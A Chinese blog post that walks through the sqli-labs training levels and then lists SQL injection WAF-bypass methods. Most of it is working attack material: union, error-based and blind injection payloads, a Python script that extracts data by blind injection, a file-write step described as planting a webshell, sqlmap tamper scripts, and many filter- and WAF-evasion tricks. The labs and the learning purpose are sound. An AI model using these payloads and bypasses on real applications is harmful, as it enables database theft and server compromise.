在手测与工具间寻找sql注入的真谛

在手测与工具间寻找sql注入的真谛


🔥系列专栏:日常记录
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年12月19日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录


前言

  1. 这不是一个writeup,只是根据sqlilabs引发一些思考和对手法的重温。
  2. 文章末尾会给出我所知道的所有bypass手法

第1-4关(有回显的get注入)

1-4关是简单的边界闭合,这里面主要涉及到数字型字符型,两种的手法略有不同
简单来说,数字型和字符型的区别我认为就是一个存在闭合,另一个不存在,所以字符型的首要任务就是闭合语句,而数字型就会有如下的逻辑式
and 1=1、and 1=2 ,但往往字符型我们也会使用and 1=1和and 1=2,一般是来验证闭合的效果。

那我们先看第一关

第1关

在这里插入图片描述输入一个单引号之后,还出现了mysql指纹
如果没有符合的报错指纹,那还有其他的办法去验证

探测数据库指纹

目的:不同的数据库,需要用不同的sql语句注入。

利用报错语句
MySql:
You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1
Oracle:
ORA-00933: SQL command not properly ended
MS SQL Server:
Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string
PostgreSQL:
Query failed: ERROR: syntax error at or near
利用拼接语句查询

一种最可靠的方法是根据数据库连接字符串方式的不同进行识别。

如我们查询字符串farmsec得到了一个结果,可以在请求中提交特殊的值,测试用各种方法连接,以生成farmsec字符串。如过查询结果相同,就可以确定是哪一种数据库。

Oracle:    'farm'||'sec'
MS-SQL:    'farm'+'sec'
MySQL:     'farm' 'sec'
PostgreSQL:'farm' || 'sec'
运算查询

每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错。

Oracle:    BITAND(1,1)-BITAND(1,1)
MS-SQL:    @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL:     CONNECTION_ID()-CONNECTION_ID()

在这里插入图片描述再加上and 1=1,表明真,同时加上注释

注释的种类
#
-- -
--+-
;%00
`

在这里插入图片描述再试试and 1=2,这个时候会无法显示出来结果,但是不会出现数据库的报错语句
在这里插入图片描述

去找列数,order by 没有被禁用,如果被禁用了

url?id=1+union+select+null,null--     //不断增加null 直到确认有几个
   ?id=1 union select 1,2,3

在这里插入图片描述找到是3列

联合注入
?id=-1' union select 1,2,3 --+
?id=-1' union select 1,database(),3 --+
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+
或者一次性爆出表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

再爆数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

sqlmap可以直接出
在这里插入图片描述yakit插件也同样可以作用

在这里插入图片描述
其他几关就不用看了,一样的

第2关

我们单引号可以报错
而后开始寻找闭合,发现并没有双引号,单引号,所以这大概率是一个数字型的注入
在这里插入图片描述
所以我们尝试and 1=1 以及and 1=2
看看能否存在不同,那么对于字符型可不可以用这种方式呢?
答案是不可以,请看下张图
在这里插入图片描述在这里插入图片描述可以看到不管是and 1=1或者是1=2都不影响
因为没有闭合之前,不管你输入什么计算,什么逻辑,他们都是字符串而不是逻辑,只有在闭合后,逻辑计算才被释放出来,如下
在这里插入图片描述后面的第二关和第一关一样,所以,综上,数字型和字符型的区别就是一个是找闭合一个是用and 1=1
所以这两关我想我们可以总结出来一个方法论

当发现get\post传参的时候,我们就要尝试一下单引号,对于页面回显异常的参数点(实际中不会有太多靶场这样清晰的报错,我们可以观察返回的byte长度,如果有不同,那就要尝试去闭合或者是and 1=1,直到我们重新获取了正常的页面,可以使用fuzz的办法,流量相对小一点,尽可能不要一开始就用sqlmap)
大概有公式如下

id=[能正常查询的数据][fuzz闭合符号][注释符]
id=[不能正常查询的数据][闭合符号][攻击语句][注释符]

id=1[and 1=1][注释符]
id=1[and 1=2][注释符]
id=1[and 1=2][攻击语句][注释符]
id=-1[攻击语句][注释符]//更建议这个,因为and 被waf杀麻了

可以看到返回的数据长度已经有变化了,说明有东西出来了,具体就不找了
在这里插入图片描述

第3关

Less-3
同Less-1,')闭合

但是对于第三关来讲
在这里插入图片描述而如果用sqlmap呢
在这里插入图片描述是可以的,但是如果我们所有的包都用sqlmap来跑,访问量太大了,很容易被发现,而且sqlmap也存在局限性,后面再说。
那么我们要寻找一种聚合的解决办法。

首先还是单引号去看,发现页面出现了不正常,所以我们接下来找一下闭合
在这里插入图片描述
找闭合有三种方法

  1. yakit被动扫描(有时候不一定准确,不准确的话注入也出不来,就比如这个第三关)

  2. fuzz爆破(因为闭合与没有闭合的页面存在不同)

  3. 用斜杠,如下图
    在这里插入图片描述然后我们输入")就可以看到报错信息已经没有传递的参数了,这是因为已经闭合掉了,如果这个时候再加上注释,就可以正常回显了。
    在这里插入图片描述在这里插入图片描述那么这种方法其实很像fuzz爆破的原理,因为我们去看fuzz的字典也是一个意思
    在这里插入图片描述但是直接用fuzz去跑每一个参数所带来的高流量与sqlmap相似,还不如直接用sqlmap,所以最好的办法是先用单引号,如果存在页面回显不同的情况,我们再针对这一个参数去跑fuzz或者sqlmap,流量都会小很多。

第4关

Less-4
同Less-1,")闭合

5-10关(无回显的get注入)

第5关-报错注入

我们同样起手一个单引号
在这里插入图片描述
存在报错,那么就有可能存在sql注入
我们先走一下工具
在这里插入图片描述在这里插入图片描述那么该如何手测呢?

同样的单引号起手(后面的关卡就不放图了)
在这里插入图片描述找闭合
猜测是单引号闭合的字符型
在这里插入图片描述添加注释看看能否正常回显
在这里插入图片描述
这是个报错注入,但是我们其实一开始是不知道的,除了这个you are in 隐晦的提醒我们。最终让我们去这么思考的原因是我们用-1' union select 去跑,但是显错点是没有的,这种存在注入点,但是没有显错点的,一般来说,有可能是报错注入,以及各种盲注。
在这里插入图片描述

这里给出该报错注入的利用,文章末尾给我我所知道的所有报错函数,来绕过waff啊等等,规避检测。

1. 先查字段
1' order by 3#报错
1' order by 2#无回显
所以字段数为2
这里的意义在于确定了这里存在注入点,而不是由于pdo以及统一返回页面导致的误判。

查版本号
?id=-1' and updatexml(1,concat(0x7e,version()),1) --+
查user表的列名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) -- qwe

第6关-布尔盲注

之前的都一样,但是使用布尔盲注的方法
盲注很耗时,所以尽量用sqlmap或者脚本去跑
我们在之前发现了闭合方式后,同样发现没有显错点

判断数据库长度
?id=1" and length(database())<9--+
然后基本上数据就靠跑,很麻烦,所以有了脚本

脚本如下。

import requests as req
url = 'http://127.0.0.1/sqli-labs/Less-6/?id=1'
res = ''
select = "select database()"
//只需要替换查询语句即可
//例如:
//select group_concat(table_name) from information_schema.tables where table_schema='security'
//select group_concat(column_name) from information_schema.columns where table_schema='security'
//select group_concat(username,password)from users

for i in range(1, 100):
    for ascii in range(32, 128):
        id = '1" and ascii(substr(({}),{},1))={}%23'.format(select, i, ascii)
        r = req.get(url+id)
        print(url+id)
        if "You are in" in r.text:
            res += chr(ascii)
            print(res)
            break
        if ascii == 127:
            print('{}'.format(res))
            exit(0)

第7关-写文件

在这里插入图片描述有提示的,让我们写文件,那实际中如何发现呢
其实它的本质是一个union注入

?id=-1')) union select 1,2,'' into outfile "C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php" --+

但是需要打开这个mysql的魔法开关
它的主要作用在于遇到了mysql的数据库,我们可以转变思路,去写一个webshell然后走这条路,多一条攻击链,但是,对于可以写文件的mysql来说,我们也可以直接使用–os-shell来拿到一个命令执行了(当然这需要网站的绝对路径,不过很多iis搭建的sqlmap内置的都有一些默认绝对路径),只是对于盲注来说os-shell非常慢。
在这里插入图片描述
yakit的sql注入插件还是有点不足,闭合都找错了
在这里插入图片描述
sqlmap稳定输出在这里插入图片描述

第8关-时间盲注

对于之前出现的报错注入,布尔盲注来说,加上现在的时间盲注,这三个都属于无回显注入,但是他们又有区别,我认为在实际中,用得最多的是报错注入以及时间盲注。我们回头去看会发现报错注入我们都是用了orderby去跑字段,并且会用这个手法来判断是否是误判。我们当然会出现很多orderby跑不出来的,但是被动扫描又有报的问题,这里面有两种可能。

  1. order by被禁用,我们需要bypass
  2. 可能是布尔盲注和时间盲注
    带着这种认识,我们去看时间盲注

之前的步骤同上
关键探测点是

id=1' and sleep(5) --+

在这里插入图片描述

② 爆库长

?id=1' and if(length(database())=8,sleep(5),null)--+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1' and if(left(database(),1)='s',sleep(5),null)--+

?id=1' and if(left(database(),2)='se',sleep(5),null)--+

......

security

或者: ?id=1' and if((select (substr(database(),1,1))="s") ,sleep(5), null)--+

③爆表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)--+

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)--+

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)--+

......

database() 如果不想写,可以写security的hex值

表名:emails

或者:

id=1' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+

④爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit *,1),*)='password' ,sleep(5),null)--+

其中*需要逐个尝试

第9关

也是时间盲注

第10关

也是时间盲注

11-15 有回显的post注入

第11关

跟之前的有回西安get注入一样,只不过注入点在post
在这里插入图片描述

第12关

同11,闭合方式有所不同

13-16关-无回显的post注入

第13关

在这里插入图片描述之前的步骤都一样
发现无回显
那就转入无回显的测试手法

爆库名
1') and updatexml(1,concat(0x7e,database(),0x7e),1) #

在这里插入图片描述

第14关

这是个post形的布尔盲注

第15关

post的时间盲注

第16关

同15

第17关

也是个报错注入
题目提示是update函数更新密码,一般不这么用,打攻防这种行为就纯麻喽啦。
就报错也能出

1' and updatexml(1,concat(0x7e,database(),0x7e),1) #

18-20 其他头部注入

第18关

这是个ua头注入
两个被动扫描都跑不出来

一般我们不会手测这里,ua头的话被动扫描也扫不出来,所以只能sqlmap
但是正如这个靶场,我遇到过的大多数ua注入都是在登录成功后,因为登录成功后ua头才会进数据库,但是也不是所有的都会进数据库,不过如果拿到了弱口令可以登录了,就可以尝试一下用单引号先正常去测,有异常了再上sqlmap
在这里插入图片描述sqlmap -r 111.txt --batch --dbms=mysql --level=3

在这里插入图片描述

第19关

refer注入,跟ua一个原理,sqlmap risk3就可以跑出来
两个被动扫描都跑不出来

第20关

cookie注入,risk2就可以跑出来,xray的被动扫描可以跑出来,但是要开选项

yakit跑不出来
在这里插入图片描述xray可以跑出来
在这里插入图片描述

引发的思考

可是现实中,真的所有情况都像这样简单明了吗?
回想一下之前做的所有实验,发现不论是手测,还是被动扫描,还是sqlmap,都各有各的局限性

局限1:json注入

比如说当我们想要测试json中的参数的时候
在这里插入图片描述yakit的被动插件能够非常良好的处理这种情况
在这里插入图片描述
在这里插入图片描述xray同样可以
在这里插入图片描述
但是sqlmap不可以在这里插入图片描述-r 指向数据包同样不可以,他并不能准确地识别json在哪里,我们常用的-r的手法只能应用于post-json形。所以目前为止,get-json我所用的方式依旧是被动扫描+手动注入。
在这里插入图片描述有的时候我们亲爱的sqlmap在post-json中同样不可以识别如下的json。

{
   "name":["string"]}

方法就是变成如下的形式

{
   "name":"string"}

局限2:编码后的数据

编码后的数据我们的yakit就不能妥善地完成了,同样的sqlmap,xray都不行,如下图。
在这里插入图片描述
被动扫描无果。在这里插入图片描述

所以解决这种情况我使用的依旧是yakit,借助yakit的fuzztag,我能够很好的对简单的编码进行fuzz
例如对于base64的编码(如上图)我会这样使用

{
   {
   base64enc(1' and 1=1--+)}}

其他的一些简单编码同样是yakit中自带的
那么在需要使用sqlmap进行跟深入地利用的时候,如何去做呢?
答案是使用temper,sqlmap内置了很多的temper,有编码的绕过的,同时我们还需要自己去写一些temper来满足更复杂的需求,在这一方面,我现在使用gpt和我的贫瘠的大脑一起工作。
sqlmap的temper表我也放在这里。
当然了,有时候单纯的内置temper完全不够,所以我们需要更多的temper,就自己写就好了。

apostrophemask.py

适用数据库:ALL

作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")  
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py

适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper("1' AND SLEEP(5)#")  
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py

适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper('1 UNION SELECT foobar')  
使用脚本后:1 UNION SELECT foobar
space2plus.py

适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper('SELECT id FROM users')  
使用脚本后:SELECT+id+FROM+users
nonrecursivereplacement.py

适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:tamper('1 UNION SELECT 2--')  
使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py

适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper('SELECT id FROM users')  
使用脚本后:SELECT%0Did%0DFROM%0Ausers
unionalltounion.py

适用数据库:ALL
作用:将union all select 替换为union select  
使用脚本前:tamper('-1 UNION ALL SELECT')  
使用脚本后:-1 UNION SELECT
securesphere.py

适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')  
使用脚本后:1 AND 1=1 and '0having'='0having'
space2dash.py

适用数据库:ALL
作用:将空格替换为--,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')  
使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py

适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')  
使用脚本前:tamper('SELECT id FROM users')  
使用脚本后:SELECT%0Eid%0DFROM%07users
between.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #替换>  
使用脚本前:tamper('1 AND A > B--')  
使用脚本后:1 AND A NOT BETWEEN 0 AND B--
percentage.py

适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%  
使用脚本前:tamper('SELECT FIELD FROM TABLE')  
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py

适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper('1 AND 9227=9227-- ')  
使用脚本后:1 AND 9227=9227-- sp_password
charencode.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')  
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper('INSERT')  
使用脚本后:INseRt
charunicodeencode.py

适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper('SELECT FIELD%20FROM TABLE')  
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为/**/  
使用脚本前:tamper('SELECT id FROM users')  
使用脚本后:SELECT/**/id/**/FROM/**/users
equaltolike.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE  
使用脚本前:tamper('SELECT * FROM users WHERE id=1')  
使用脚本后:SELECT * FROM users WHERE id LIKE 1
equaltolike.py

测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper('1 AND A > B')  
使用脚本后:1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py

适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper('IFNULL(1, 2)')  
使用脚本后:IF(ISNULL(1),2,1)
modsecurityversioned.py

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper('1 AND 2>1--')  
使用脚本后:1 /*!30874AND 2>1*/--
space2mysqlblank.py

适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')  
使用脚本前:tamper('SELECT id FROM users')  
使用脚本后:SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/*!00000*/)进行注入
使用脚本前:tamper('1 AND 2>1--')  
使用脚本后:1 /*!00000AND 2>1*/--
space2mysqldash.py

适用数据库:MySQL、MSSQL
作用:将空格替换为 -- ,并追随一个换行符
使用脚本前:tamper('1 AND 9227=9227')  
使用脚本后:1--%0AAND--%0A9227=9227
bluecoat.py

适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=  
使用脚本前:tamper('SELECT id FROM users where id = 1')  
使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py

适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')  
使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py

适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")  
使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py

适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper('1 AND 9227=9227')  
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py

适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper("1 AND '1'='1")  
使用脚本后:1 AND %00%271%00%27=%00%271
appendnullbyte.py

适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper('1 AND 1=1')  
使用脚本后:1 AND 1=1%00
chardoubleencode.py

适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper('SELECT FIELD FROM%20TABLE')  
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
randomcomments.py

适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper('INSERT')  
使用脚本后:I/**/N/**/SERT
symboliclogical.py

适用数据库:ALL
作用:AND OR 替换为 && ||
使用脚本前:tamper('1' AND 1=1')  
使用脚本后:1' && 1=1
unmagicquotes.py

适用数据库:ALL
作用:宽字节绕过

那么对于复杂加密呢?

局限3: 加密后的数据

我选择burp
在这里插入图片描述这个插件内置了很大一部分我们实际中遇到的加密情况,同时execjs部分还可以直接用前端加密那一套来用,直接拖代码,鬼鬼js这一套,关于对抗前端加密的文章还在写,有兴趣的可以等等,没兴趣的自己网上找找就行,爬虫那一套东西,用鬼鬼js的。
总而言之,这个插件可以满足基本上所有的加密情况。深入利用也是写temper。

局限4:waf横行,如何bypass

对于bypass,我的方法一直是,优质代理池+没有遗漏的fuzz
当然了,要看项目成本。

1. bypass

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势

学习文章:https://mp.weixin.qq.com/s/gjEPi8DKVsfGyEv8fnzY3Q

通用手法

本地访问

X-forwarded-for127.0.0.1
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
静态资源借路
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
HTTP降级
可以尝试HTTPS网站HTTP访问,或许没做WAF
分块传输(POST)
有很多站会爆500,那就用不了
直接用插件就完事了
https://github.com/c0ny1/chunked-coding-converter
更改传输方式

有些GET传参的你给直接改成POST数据包,有可能可以绕过。

参数污染
?id=1&id=2&id=3
每个参数拼接查询语句,可以断开函数来BYPASS
空白字符填充
可添加在任意位置
%09,%0a,%0b,%0c,%0d,%20,%a0都可以替换
一般%a0和%0a合起来用比较多, 即%a0%0a
例如:
1+uni%0bon+se%0blect+1,2,3 --
大小写绕过
?id=1' and 1=2 UnIoN SeLEcT 1,2,3#
边界混淆
where id=8E0union select 1,2,3,4,5,6,7,8,9,0
where id=8.0union select 1,2,3,4,5,6,7,8,9,0 
这是一个小数,小数后可以直接接关键字,而不用空格
where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
where id=.1union/*.1*/select-.1
where id=.1union/*.1*/select!.1
where id=.1union/*.1*/select~.1
where id=.1union/*.1*/select(1)
where id=.1union/*.1*/select`host`from mysql.user
where id=.1union/*.1*/select'1'
where id=.1union/*.1*/select"1"
where id=.1union/*.1*/select@1
双写绕过
?id=1' and 1=2 UnIunionOn sELselectECt 1,2,3#
编码绕过
url编码
1. 整体双重url编码
1%2527%20and%201%253d1%23    
解码为: 1%27 and 1%3d1#   
再解码 1' and 1=1#

2. 特殊字符的单词编码
%27--> '   %20--> 空格   %28--> (   %29--> )   %25--> %
十六进制编码(应对存在注入但是查询被拦截)

用在函数被过滤以及过滤单引号这样的情况。

例如:(函数过滤)

select ——> selec\x74
union——>unio\x6e

单引号

1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

1' and 1=2 union select 1,load_file('/etc/passwd');#
1' and 1=2 union select 1,load_file(0x2F65...);#
绕过空格
1. 内联注释
?id=1'/**/and/**/1=2/**/union

2. 特殊字符替代
如下特殊字符可代替空格:
%09   水平定位符号   %0a  换行符     %0c  换页符    %0d  回车    %0b 垂直定位符号

3. 括号
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价:
select(name)from(tb1)where(name)=('asd');

4. tab键
mysql黑魔法
select{
   x[可填充字符]1}

select{
   x table_name}from{
   x information_schema.tables}

select user from mysql.user where 1=Nunion select-.1;

select~2.1from xxxx

select-2.1from xxx

select~2e1from xxx

if((select%0b(select(xxx)``from(xxx))regexp(0x5e61)),(`sleep`(5)),0)
内联注释
?id=1' and 1=2 /!*union/ /*!select*/ 1,2#
/!UnIon12345SelEcT/1,user(),数字范围1000-50540

等价语句替换
sleep() -->  benchmark()
​
concat_ws()   -->   group_concat()
​
mid()=substr()=substring()
​
concat(str1,str2,....)   // 没有分隔符得链接字符
concat_ws(separator,str1,str2,...)   // 含有分隔符得链接字符
group_concat(str1,str2...)          // 链接一个组所以字符,逗号分隔开

专门替换

空格绕过
空格绕过:
/N
emoji表情
--%0a(0a前可以加垃圾字符)
()
%0a/**/(mysql)
/*|%23--%23|*/(mssql)
反引号
tap
两个空格

特定数据库的替代
SQLite3:0A 0D 0C 09 20
MySQL5 09:0A 0B 0C 0D A0 20
PosgresSQL:0A 0D 0C 09 20
Oracle 11g:00 0A 0D 0C 09 20
MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20


示范
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
' or --+2=- -!!!'2

union\select
逻辑绕过:
1 && (select user from users where userid=1)='admin'

十六进制字符绕过:
select ——> selec\x74
union——>unio\x6e

编码绕过:
urlencode,ascii(char)hexunicode编码绕过关键字

内联:
?id=1/*!12345!UnIoN*/SeLecT+1,2,3
或者
/*!UNION*/ /*!SELECT*/ 1,2,3,4

关键字替换:
UNIunionON SELselectECT


过滤引号
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;
过滤=,<>
LIKE
REGEXP,
BETWEEN,
not < and not >
!<>
举例如下:
1. like过滤=
?id=1' or 1 like 1# 可以绕过对 = > 等过滤
or '1' IN ('1234')# 可以替代=
SELECT * FROM tb1 WHERE id=1 AND '1' LIKE '1';

2. regexp
SELECT * FROM tb1 WHERE id=1 AND '1' REGEXP '1';

3. rlike
SELECT * FROM tb1 WHERE id=1 AND '1' RLIKE '1';

4. between过滤=
实际句式:
1 union select 1, table_name from information_schema.tables where table_name = 'users'
更改后
select 1, table_name from information_schema.tables where table_name between 'u' and 'v';

5. &&&
&&1 && 1 ,逻辑与)
&1 & 1,按位与,任意数&0的值为0),与and的结果都是1.

6.  <> 过滤
> X 变成 not between 0 and X
 
过滤逗号

在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。

select mid(user(),1,2);                #从第一个字符开始截取2个
等价
select mid(user() from 1 for 2);    #从第一个字符开始截取2个
过滤注释符

测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。

例如:select * from tb1 where id=$_GET[id] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1; 
这时候可以传入1' or '1'='1  ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;
过滤where
逻辑绕过过滤代码 
1 && (select user from users where user_id = 1) = 'admin'
绕过方式 
1 && (select user from users limit 1) = 'admin'
以及替换
WHERE -> HAVING
过滤limit
逻辑绕过过滤代码 
1 && (select user from users limit 1) = 'admin'
绕过方式 
1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
过滤group by
逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤select
逻辑绕过过滤代码 
1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 
1 && substr(user,1,1) = 'a'
过滤hex
逻辑绕过过滤代码 
1 && substr(user,1,1) = unhex(61)
绕过方式 
1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤substr
逻辑绕过过滤代码
 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 
1 && lpad(user(),1,1) in 'r'
过滤and,or
等价and
假如:select * from tb1 where id=1 and 1=1
like(1 like 1。like可跟通配符。)
rlike(1 rlike 1 rlike可跟正则表达式。)
regexp(1 regexp 1 regexp可跟正则表达式。)
&&1 && 1 ,逻辑与)
&1 & 1,按位与,任意数&0的值为0),与and的结果都是1.

and = &&
or = ||^
xor = | # 异或
not = !
专门函数手法
order by
1。 仅针对与mssql
url?id=1+union+select+null,null--     //不断增加null 直到确认有几个
   ?id=1 union select 1,2,3

2. 手注的方法

mysql
查询命令
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
释义 SQL语句 其他
当前数据库 SELECT database() -
所有数据库 SELECT schema_name FROM information_schema.schemata #版本>5.0
- SELECT distinct(db) FROM mysql.db #管理员权限才可以执行
查询表名 SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
查询列名 SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ -
获取版本 SELECT @@version -
